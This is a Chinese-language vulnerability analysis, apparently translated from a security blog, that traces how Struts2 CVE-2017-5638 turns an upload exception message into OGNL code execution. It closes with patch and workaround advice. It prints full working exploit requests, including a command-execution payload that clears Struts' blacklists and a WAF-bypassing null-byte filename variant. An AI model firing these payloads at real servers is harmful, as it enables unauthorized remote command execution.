深度剖析Struts2遠程代碼執行漏洞(CVE-2017-5638)
三月初,安全研究人員發現世界上最流行的JavaWeb伺服器框架之一– Apache Struts2存在遠程代碼執行的漏洞,Struts2官方已經確認該漏洞(S2-046,CVE編號為:CVE-2017-5638)風險等級為高危漏洞。
漏洞描述
該漏洞是由於上傳功能的異常處理函數沒有正確處理用戶輸入的錯誤信息,導致遠程攻擊者可通過修改HTTP請求頭中的Content-Type值,構造發送惡意的數據包,利用該漏洞進而在受影響伺服器上執行任意系統命令。
漏洞利用條件和方式
黑客通過Jakarta 文件上傳插件實現遠程利用該漏洞執行代碼。
漏洞影響範圍
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
建議大家儘快升級到 Apache Struts 2.3.32 or 2.5.10.1
近日,我們對這個漏洞的執行代碼進行了詳細的分析,並對野外利用中的有效載荷進行了跟蹤研究。除此之外,我們還提供了CVE-2017-5638運行的有效載荷,這是一個可以繞過只能檢查請求內容類型的Web應用程序防火牆規則的備用漏洞利用向量。
對於不熟悉SSTI(服務端模板注入)概念的人員來說,這是一個注入攻擊的典型例子。從模板引擎的原理可知,哪方實現的模板引擎,就依賴哪方。在server端實現模板引擎時,依賴server端。在客戶端實現依賴客戶端。
所以,只要在客戶端實現一種模板解析方式(引擎),用來讀取模板內容,分析並轉為客戶端可執行的程序源碼,並運行,就可以脫離服務端,在瀏覽器端渲染頁面,而不依賴服務端,這樣的結果通常是模板引擎會允許任何形式的代碼執行。對於許多流行的模板引擎,例如Freemarker,Smarty,Velocity,Jade等,通常可以在引擎之外執行遠程代碼執行(即產生系統shell)。在Struts的案例中,模板引擎就是使用諸如對象圖導航語言(OGNL)的表達式語言來提供簡單的模板功能。與OGNL的方法類似,模板引擎通常也可以在表達式語言之外獲得遠程代碼執行。這些代碼庫提供了幫助緩解遠程執行代碼(如沙盒)的機制,但是默認情況下它們往往被禁用,或者簡單地繞過。
從代碼的角度來看,SSTI存在於應用程序中的最簡單的條件是將用戶輸入傳遞到解析模板代碼的函數中。將函數句柄值丟失是將各種注入漏洞引入到應用程序中的一種簡單方法。要發現這樣的漏洞,必須仔細追蹤和分析調用堆棧和任何被感染的數據流。
這樣才能充分了解CVE-2017-5638的工作原理,不過要真正了解漏洞的工作原理,我們還需要對庫中的相關代碼進行全面的分析。
我們通過捕獲和記錄CVE-2017-5638在運行時的異常代碼進程,倒推出了次漏洞的工作原理。正如我們在下面的惡意代碼再現中看到的那樣,漏洞可以導致遠程代碼執行,在Apache公共上傳庫中parseRequest(request)解析出現異常,這是因為請求的內容類型與預期的有效字元串不匹配。我們還注意到,這個上傳庫引發的異常消息還包括HTTP請求中提供的無效內容類型頭。這實際上是用用戶輸入來描述異常消息。
用戶輸入要求:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1nHost: localhost:8080nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8nAccept-Language: en-US,en;q=0.5nAccept-Encoding: gzip, deflatenContent-Type: ${(#_=multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=whoami).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}nContent-Length: 0n
用戶輸入反應:
HTTP/1.1 200 OKnSet-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcasenExpires: Thu, 01 Jan 1970 00:00:00 GMTnServer: Jetty(8.1.16.v20140903)nContent-Length: 11nntestwebusern
用戶登錄異常:
2017-03-24 13:44:39,625 WARN [qtp373485230-21] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:69) - Request exceeded size limit!norg.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesnt contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_=multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=whoami).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}n at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:948) ~[commons-fileupload-1.3.2.jar:1.3.2]n at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.2.jar:1.3.2]n at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.2.jar:1.3.2]n at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:147) ~[struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:91) ~[struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]n[..snip..]n
負責調用生成異常的parseRequest方法的調用者在一個名為JakartaMultiPartRequest的類中,JakartaMultiPartRequest作為圍繞Apache commons fileupload庫的包裝器,定義了一個名為processUpload的方法,如下圖所示,該方法在第91行調用了自己的parseRequest方法。該方法在第151行創建一個新的ServletFileUpload對象,並在第147行調用其parseRequest方法:
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90: protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91: for (FileItem item : parseRequest(request, saveDir)) {92: LOG.debug("Found file item: [{}]", item.getFieldName());93: if (item.isFormField()) {94: processNormalFormField(item, request.getCharacterEncoding());95: } else {96: processFileField(item);97: }98: }99: }[..snip..]144: protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {145: DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);146: ServletFileUpload upload = createServletFileUpload(fac);147: return upload.parseRequest(createRequestContext(servletRequest));148: }149: 150: protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {151: ServletFileUpload upload = new ServletFileUpload(fac);152: upload.setSizeMax(maxSize);153: return upload;154: }n
查看 Stacktrace(堆棧軌跡),Stacktrace是一個非常有用的調試工具. 在未捕獲的異常被拋出時(或者手動製造堆棧跟蹤的時候),它會讓我們看到調到的堆(在某一點調用方法的堆)。不僅顯示出出現錯誤的地方,也顯出程序在那個地方是如何結束的。我們可以看到processUpload方法由JakartaMultiPartRequest在第67行的解析方法調用。如下圖所示,調用此方法的任何拋出的異常都在第68行被捕獲,並傳遞給buildErrorMessage。雖然根據引發的異常的類調用processUpload方法可以有多個選擇,但最終都要調用buildErrorMessage方法。在這種情況下,第75行調用buildErrorMessage方法:
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:64: public void parse(HttpServletRequest request, String saveDir) throws IOException {65: try {66: setLocale(request);67: processUpload(request, saveDir);68: } catch (FileUploadException e) {69: LOG.warn("Request exceeded size limit!", e);70: LocalizedMessage errorMessage;71: if(e instanceof FileUploadBase.SizeLimitExceededException) {72: FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;73: errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});74: } else {75: errorMessage = buildErrorMessage(e, new Object[]{});76: }77:78: if (!errors.contains(errorMessage)) {79: errors.add(errorMessage);80: }81: } catch (Exception e) {82: LOG.warn("Unable to parse request", e);83: LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});84: if (!errors.contains(errorMessage)) {85: errors.add(errorMessage);86: }87: }88: }n
由於JakartaMultiPartRequest類沒有定義buildErrorMessage方法,所以我們要查看它擴展的類:AbstractMultiPartRequest:
core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java:98: protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {99: String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();100: LOG.debug("Preparing error message for key: [{}]", errorKey);101: 102: return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);103: }n
它返回的LocalizedMessage定義了一個簡單的類似容器的對象,其中textKey設置為struts.messages.upload.error.InvalidContentTypeException,defaultMessage被設置為用戶輸入感染的異常消息。
接下來在stacktrace中,我們可以看到JakartaMultiPartRequest的解析方法在第86行的MultiPartRequestWrapper的構造方法中被調用,在第88行調用的addError方法會檢查是否已經看到錯誤,如果不是,它會將它添加到一個包含LocalizedMessage對象集合的實例變數中:
core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java:77: public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,78: String saveDir, LocaleProvider provider,79: boolean disableRequestAttributeValueStackLookup) {80: super(request, disableRequestAttributeValueStackLookup);[..snip..]85: try {86: multi.parse(request, saveDir);87: for (LocalizedMessage error : multi.getErrors()) {88: addError(error);89: }n
在我們對堆棧進行軌跡跟蹤的下一行,我們看到Dispatcher類負責實例化一個新的MultiPartRequestWrapper對象並調用上面的構造方法。這裡調用的方法叫做wrapRequest,它負責檢測請求的內容類型是否包含第801行的子串「multipart / form-data」,如果包含,則在第804行創建一個新的MultiPartRequestWrapper並返回:
core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java:794: public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {795: // dont wrap more than once796: if (request instanceof StrutsRequestWrapper) {797: return request;798: }799:800: String content_type = request.getContentType();801: if (content_type != null && content_type.contains("multipart/form-data")) {802: MultiPartRequest mpr = getMultiPartRequest();803: LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);804: request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);805: } else {806: request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);807: }808:809: return request;810: }n
在我們分析的這個樣本時,它的HTTP請求已被解析,我們的包裹請求對象(MultiPartRequestWrapper)持有一個錯誤(LocalizedMessage)和我們的默認消息,而一個textKey設置為struts.messages.upload.error.InvalidContentTypeException。
雖然堆棧軌跡的其餘部分不能為我們繼續跟蹤數據流提供任何非常有用的幫助,但是,我們從中發現了一個線索, Struts通過一系列攔截器處理請求。事實證明,名為FileUploadInterceptor的攔截器是Struts配置的默認「堆棧」的一部分。
正如我們在第242行看到的,攔截器會檢查我們的請求對象是否是MultiPartRequestWrapper類的實例。我們知道這是因為Dispatcher以前返回了這個類的一個實例,攔截器會繼續檢查MultiPartRequestWrapper對象是否在第261行出現錯誤。然後它在第264行調用LocalizedTextUtil的findText方法,傳遞幾個參數,例如錯誤的textKey和我們的默認的defaultMessage:
core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java:237: public String intercept(ActionInvocation invocation) throws Exception {238: ActionContext ac = invocation.getInvocationContext();239:240: HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);241:242: if (!(request instanceof MultiPartRequestWrapper)) {243: if (LOG.isDebugEnabled()) {244: ActionProxy proxy = invocation.getProxy();245: LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));246: }247:248: return invocation.invoke();249: }250:[..snip..]259: MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;260:261: if (multiWrapper.hasErrors()) {262: for (LocalizedMessage error : multiWrapper.getErrors()) {263: if (validation != null) {264: validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));265: }266: }267: }n
LocalizedTextUtil的方法findText的一個版本被調用,它試圖根據以下6個因素找到一個返回的錯誤信息:
aClassName設置為AbstractMultiPartRequest
aTextName設置為錯誤的textKey,這是struts.messages.upload.error.InvalidContentTypeException。
區域設置設置為ActionContext的區域設置。defaultMessage是我們作為字元串感染的異常消息。Args是一個空數組。
valueStack設置為ActionContext的valueStack:
397: /**398: * <p>399: * Finds a localized text message for the given key, aTextName. Both the key and the message400: * itself is evaluated as required. The following algorithm is used to find the requested401: * message:402: * </p>403: *404: * <ol>405: * <li>Look for message in aClass class hierarchy.406: * <ol>407: * <li>Look for the message in a resource bundle for aClass</li>408: * <li>If not found, look for the message in a resource bundle for any implemented interface</li>409: * <li>If not found, traverse up the Class hierarchy and repeat from the first sub-step</li>410: * </ol></li>411: * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in412: * the models class hierarchy (repeat sub-steps listed above).</li>413: * <li>If not found, look for message in child property. This is determined by evaluating414: * the message key as an OGNL expression. For example, if the key is415: * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an416: * object. If so, repeat the entire process fromthe beginning with the objects class as417: * aClass and "address.state" as the message key.</li>418: * <li>If not found, look for the message in aClass package hierarchy.</li>419: * <li>If still not found, look for the message in the default resource bundles.</li>420: * <li>Return defaultMessage</li>421: * </ol>n
因為未找到資源束定義struts.messages.upload.error.InvalidContentTypeException的錯誤消息,所以此過程最終將調用第573行上的getDefaultMessage方法:
core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:570: // get default571: GetDefaultMessageReturnArg result;572: if (indexedTextName == null) {573: result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);574: } else {575: result = getDefaultMessage(aTextName, locale, valueStack, args, null);576: if (result != null &amp;&amp; result.message != null) {577: return result.message;578: }579: result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);580: }n
同一個類中的getDefaultMessage方法負責最後一次嘗試找到一個給定密鑰和語言環境的錯誤消息。在我們的嘗試過程中,getDefaultMessage方法嘗試失敗,並利用我們的異常消息,在第729行調用TextParseUtil的translateVariables方法:
core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:714: private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,715: String defaultMessage) {716: GetDefaultMessageReturnArg result = null;717: boolean found = true;718:719: if (key != null) {720: String message = findDefaultText(key, locale);721:722: if (message == null) {723: message = defaultMessage;724: found = false; // not found in bundles725: }726:727: // defaultMessage may be null728: if (message != null) {729: MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);730:731: String msg = formatWithNullDetection(mf, args);732: result = new GetDefaultMessageReturnArg(msg, found);733: }734: }735:736: return result;737: }n
事實證明,TextParseUtil的translateVariables方法是用於表達式語言評估的數據接收器。它通過評估包含在$ {…}和%{…}的實例中的OGNL表達式來提供簡單的模板功能,定義並調用了幾個版本的translateVariables方法,最後評估第166行的表達式:
core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java:34: /**35: * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned36: * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot37: * be found on the stack (null is returned), then the entire variable ${...} is not38: * displayed, just as if the item was on the stack but returned an empty string.39: *40: * @param expression an expression that hasnt yet been translated41: * @param stack value stack42: * @return the parsed expression43: */44: public static String translateVariables(String expression, ValueStack stack) {45: return translateVariables(new char[]{$, %}, expression, stack, String.class, null).toString();46: }[..snip..]152: public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {153:154: ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {155: public Object evaluate(String parsedValue) {156: Object o = stack.findValue(parsedValue, asType);157: if (evaluator != null && o != null) {158: o = evaluator.evaluate(o.toString());159: }160: return o;161: }162: };163:164: TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);165:166: return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);167: }n
有了這個最後一個方法調用,我們就可以跟蹤到用戶輸入的異常消息,一直到OGNL的評估。
大家可能會非常想知道漏洞的有效載荷是如何工作的。首先,我們嘗試提供一個返回附加標題的簡單OGNL有效載荷。我們需要在開頭包含未使用的變數,以便Dispatcher檢查「multipart / form-data」子串,並將我們的請求解析成文件上傳。
用戶輸入要求:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1nHost: localhost:8080nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8nAccept-Language: en-US,en;q=0.5nAccept-Encoding: gzip, deflatenContent-Type: ${(#_=multipart/form-data).(#context[com.opensymphony.xwork2.dispatcher.HttpServletResponse].addHeader(X-Struts-Exploit-Test,GDSTEST))}nContent-Length: 0n
用戶輸入反應:
HTTP/1.1 200 OKnSet-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcasenExpires: Thu, 01 Jan 1970 00:00:00 GMTnContent-Type: text/htmln[..snip..]n
用戶登錄異常:
17-03-24 12:48:30,904 WARN [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [com.opensymphony.sitemesh.webapp.ContentBufferingResponse@9f1cfe2] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!n
事實證明,Struts提供了類成員訪問的黑名單功能即類方法。默認情況下,使用以下類列表和正則表達式:
core/src/main/resources/struts-default.xml:41: <constant name="struts.excludedClasses"42: value="43: java.lang.Object,44: java.lang.Runtime,45: java.lang.System,46: java.lang.Class,47: java.lang.ClassLoader,48: java.lang.Shutdown,49: java.lang.ProcessBuilder,50: ognl.OgnlContext,51: ognl.ClassResolver,52: ognl.TypeConverter,53: ognl.MemberAccess,54: ognl.DefaultMemberAccess,55: com.opensymphony.xwork2.ognl.SecurityMemberAccess,56: com.opensymphony.xwork2.ActionContext">57: [..snip..]63: <constant name="struts.excludedPackageNames" value="java.lang.,ognl,n
為了更好地了解原始的OGNL有效載荷,讓我們嘗試一個實際樣本的載荷過程:
載荷要求:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1nHost: localhost:8080nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8nAccept-Language: en-US,en;q=0.5nAccept-Encoding: gzip, deflatenContent-Type: ${(#_=multipart/form-data).(#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context[com.opensymphony.xwork2.dispatcher.HttpServletResponse].addHeader(X-Struts-Exploit-Test,GDSTEST))}}nContent-Length: 0n
載荷效果:
HTTP/1.1 200 OKnSet-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcasenExpires: Thu, 01 Jan 1970 00:00:00 GMTnX-Struts-Exploit-Test: GDSTESTnContent-Type: text/htmln[..snip..]n
我們可以看到,這確實有效。但是如何繞過我們之前看到的黑名單呢?
這個有效載荷是空的排除包名稱和類的列表,從而使黑名單無用。它首先通過獲取與OGNL上下文相關聯的當前容器並將其分配給容器變數來實現。大家可能會注意到com.opensymphony.xwork2.ActionContext類包含在上面的黑名單中。那既然這樣,怎麼會躲避黑名單的捕獲呢,因為我們沒有引用類成員,而是通過OGNL值堆棧中已經存在的密鑰(在core/src/main/java/com/opensymphony/xwork2/ActionContext.java:102中定義的)。我們的有效載荷已經利用了這個類的一個實例引用。
接下來,有效載荷獲取容器的OgnlUtil實例允許我們調用返回當前排除的類和包名稱的方法。最後一步是簡單地清除每個黑名單並執行我們想要的任何無限制的評估。
一旦黑名單被清空,有效載荷也變空了,直到被代碼覆蓋和應用程序重新啟動。我們還發現了一個常見的測試陷阱,當我們試圖重現在野外發現的某些有效載荷或記錄時,有些有效載荷無法工作,因為它們已經假設黑名單已經被清空,這可能是以前在不同有效載荷的測試期間發生的。這充分說明了運行動態測試時重置應用程序狀態的重要性。
大家可能還注意到,使用的原始漏洞利用的有效載荷比我們所列舉的樣本有點複雜。比如,為什麼會執行額外的步驟,例如檢查_memberAccess變數並調用名為setMemberAccess的方法?我們猜想可能是嘗試利用另一種技術來清除黑名單,以防第一種技術不起作用。使用MemberAcess類的默認實例調用setMemberAccess方法,該實例實際上也會清除黑名單。所以我們可以確認這種技術會在Struts 2.3.31中工作,而不是Struts 2.5.10。不過目前,我仍然不確定三元運算符的目的是檢查和有條件地分配_memberAccess。在測試期間,我們沒有觀察到這個變數的評估。
從2.5.10開始,存在針對CVE-2017-5638的其他漏洞利用,這是因為任何不具有關聯錯誤密鑰的用戶輸入的異常消息將都被評估為OGNL。例如,提供帶有空位元組的上傳文件名將導致從Apache commons fileupload庫中拋出InvalidFileNameException異常。這也將繞過檢查內容類型標頭的Web應用程序防火牆規則,以下請求中的%00應首先進行URL解碼,結果為用戶輸入的異常消息。
用戶輸入要求:
POST /struts2-showcase/ HTTP/1.1nHost: localhost:8080nContent-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811nContent-Length: 570nn-----------------------------1313189278108275512788994811nContent-Disposition: form-data; name="upload"; filename="a%00${(#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context[com.opensymphony.xwork2.dispatcher.HttpServletResponse].addHeader(X-Struts-Exploit-Test,GDSTEST))}」nContent-Type: text/htmlnntestn-----------------------------1313189278108275512788994811--n
用戶輸入反應:
HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result inputnSet-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcasenX-Struts-Exploit-Test: GDSTESTnContent-Type: text/html;charset=ISO-8859-1n[..snip..]n
用戶登錄異常:
2017-03-24 15:21:29,729 WARN [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse requestnorg.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a${(#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context[com.opensymphony.xwork2.dispatcher.HttpServletResponse].addHeader(X-Struts-Exploit-Test,GDSTEST))}n at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2]n at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2]n at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10]n at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]n
通過查看stacktrace可以看到,控制流在JakartaMultiPartRequest類的processUpload方法中發生偏差。當在第91行調用parseRequest方法時拋出異常,而不是在調用processFileField方法並獲取105行文件項的名稱時拋出異常:
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90: protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91: for (FileItem item : parseRequest(request, saveDir)) {92: LOG.debug("Found file item: [{}]", item.getFieldName());93: if (item.isFormField()) {94: processNormalFormField(item, request.getCharacterEncoding());95: } else {96: processFileField(item);97: }98: }99: }[..snip..]101: protected void processFileField(FileItem item) {102: LOG.debug("Item is a file upload");103: 104: // Skip file uploads that dont have a file name - meaning that no file was selected.105: if (item.getName() == null || item.getName().trim().length() < 1) {106: LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());107: return;108: }109: 110: List<FileItem> values;111: if (files.get(item.getFieldName()) != null) {112: values = files.get(item.getFieldName());113: } else {114: values = new ArrayList<>();115: }116: 117: values.add(item);118: files.put(item.getFieldName(), values);119: }n
總結
我們從這項研究中得到的一個收穫就是,不能總是依賴於查看CVE描述來了解漏洞的工作原理。比如,CVE-2017-5638存在的可能原因是因為文件上傳時,攔截器嘗試使用評估OGNL的潛在危險函數來解決錯誤消息。因此,這不是Jakarta請求包裝器的問題,正如CVE描述的那樣,但是文件上傳時攔截器信任該異常的消息將不會被用戶輸入。
檢測與修復方案
如果您的設備已經檢測出存在Struts2漏洞,根據您的具體情況有以下三種解決方式:
1.官方解決方案
官方已經發布版本更新,儘快升級到不受影響的版本(Struts 2.3.32或Struts 2.5.10.1),建議在升級前做好數據備份。
Struts 2.3.32 下載地址,
Struts 2.5.10.1下載地址。
2.臨時修復方案
在用戶不便進行升級的情況下,作為臨時的解決方案,用戶可以進行以下操作來規避風險:
在WEB-INF/classes目錄下的struts.xml 中的struts 標籤下添加
<constant name="struts.custom.i18n.resources" value="global" />n
在WEB-INF/classes/ 目錄下添加 global.properties,文件內容如下:
struts.messages.upload.error.InvalidContentTypeException=1n
本文參考來源於blog.gdssecurity,如若轉載,請註明來源於嘶吼:t深度剖析Struts2遠程代碼執行漏洞(CVE-2017-5638) 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※2017-08-22
※乾貨 | 《魔獸爭霸3》地圖漏洞分析介紹
※Active Directory許可權持久控制之惡意的安全支持提供者(SSP)